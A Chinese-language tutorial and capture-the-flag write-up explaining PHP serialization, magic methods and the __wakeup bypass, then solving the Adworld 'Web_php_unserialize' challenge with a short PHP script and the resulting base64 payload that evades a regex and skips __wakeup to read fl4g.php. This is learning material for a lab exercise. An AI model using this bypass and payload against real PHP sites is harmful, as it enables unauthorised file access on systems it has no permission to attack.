PHP反序列化漏洞就是PHP对象注入
序列化:serialize 反序列化:unserialize
序列化其实就是将数据转换成可逆的数据结构,这种数据结构可认为是字符串。可逆的过程则为反序列化。
那么序列化有什么作用?
方便储存和传输。在PHP中,序列化和反序列化一般用作缓存。
使用序列化主要是因为跨平台和对象储存的需求,因为网络上只允许字符串和二进制,而文件需要使用二进制流格式。如果想把对象储存下来,必须序列化转化为
xml json 二进制
反序列化漏洞:可以在可控的参数中输入一些恶意代码,比如<?php phpinfo()?>等对网站进行攻击。
举一个例子:
(以数组为例)
1 <?php
2 $user=array('xiao','jin','yang');
3 $user=serialize($user);
4 echo($user.PHP_EOL);
5 print_r(unserialize($user));
6 ?
则它输出的结果为:
a:3:{i:0;s:4:"xiao";i:1;s:3:"jin";i:2;s:4:"yang";}
Array
([0] => xiao[1] => jin[2] => yang
)
解读反序列化后的字符串
a (表示数组array) 3 (三个属性) i (下标) s (字符串string) 4 (长度)
(以对象为例)
<?php
class student
{public $name = "xiaojinyang";public $age = 19;
}
$a = new student();
$b = serialize($a);
print($b);
?>
则序列化的字符串为
O:7:"student":2:{s:4:"name";s:11:"xiaojinyang";s:3:"age";i:19;}
O (表示对象obiect)
PHP魔术方法
形式通常以两个下划线开始(__) 这些魔术方法不需要手动调用,而是出发某种特定条件自动调用。
常见的魔术方法:
__construct()方法,在创建对象时进行一些初始化操作,在创建对象时自动调用
__desctruct()方法,通常在销毁对象或脚本执行结束后自动调用,主要执行一些清理操作,比如关闭数据库连接。
__sleep()方法,在一个对象序列化时会被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。
__wakeup()方法,对储存的对象进行反序列化时会被调用,用于还原对象属性。
__toString()方法,把对象当作字符串时自动调用,把对象转化为字符串。
绕过__wakeup函数:
原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup函数。
相关题目:攻防世界 Web_php_unserialize
进行代码审计,$this在面向对象编程中表示伪变量,是对一个对象示例的引用。它不是真正的变量,是形式上的变量。
例如:
<?phpClass Xiao {public $name = ' ';public $age = 0;//定义一个公共访问接口public function say($name,$age){$this->name = $name;$this->age = $age;return '我的名字是'.$this->name.'年龄是'.$this->age;}}//实例化一个对象$a = new Xiao();echo $a->say('xiao',30);
?>
可以将$this理解为对象的引用,通过引用的方式来访问一个对象的方法和属性。
解题关键:绕过__wakeup函数,有正则表达式过滤,可以O:+4来绕过正则。file变量是private变量类型
//protected属性被序列化的时候属性值会变成:%00*%00属性名
//private属性被序列化的时候属性值会变成:%00类名%00属性
另外用序列化的值进行bsae64编码
(注:要用PHP自带的base64编码函数,用在线base64编码得不到flag)
(注意:base64编码的时候,需要在脚本中一并base64,因为在记事本中进行复制的话,记事本中的格式与序列化的格式不同,自然进行base64编码后的结果也不同)
最好用php的反序列化函数和base64加密的函数进行在线加密。
上代码:
1 $obj = new Demo('fl4g.php');
2 $str = serialize($obj);
3 $str1 = str_replace('O:4', 'O:+4',$str);//正则替换
4 $str2 = str_replace(':1:', ':2:',$str1);//绕过__wakeup函数
5 var_dump($str2);
6 var_dump(base64_encode($str2));
运行得出base64编码:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
可以得出flag.
对序列化进行复制粘贴然后在线base可能会破坏掉类名两边的%00,具体原因不明。
总结:非常经典的题目,里面包括的知识点也很多,是对我这种萌新提升能力的好题。